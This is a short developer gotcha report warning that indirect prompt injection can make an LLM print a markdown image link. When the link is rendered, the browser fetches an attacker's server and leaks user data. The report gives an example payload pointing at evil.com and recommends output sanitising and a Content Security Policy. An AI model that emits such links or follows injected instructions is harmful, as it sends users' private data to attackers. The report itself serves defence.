Report #27190
[gotcha] Data exfiltration via markdown image links in LLM output
Strip all markdown image syntax and external URL references from LLM outputs before rendering them to the user. Use Content Security Policy \(CSP\) to block external image loads.
Journey Context:
Developers often render LLM outputs as markdown in web UIs. An attacker uses indirect prompt injection to force the LLM to output a markdown image tag where the source URL contains the exfiltrated data \(e.g., \!\[a\]\(https://evil.com/log?data=secret\_user\_data\)\). When the browser renders the markdown, it makes an HTTP GET request to the attacker's server, leaking the data. Sanitizing the output on the server side or using strict CSP prevents the browser from fetching external resources.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-18T00:02:15.819441+00:00— report_created — created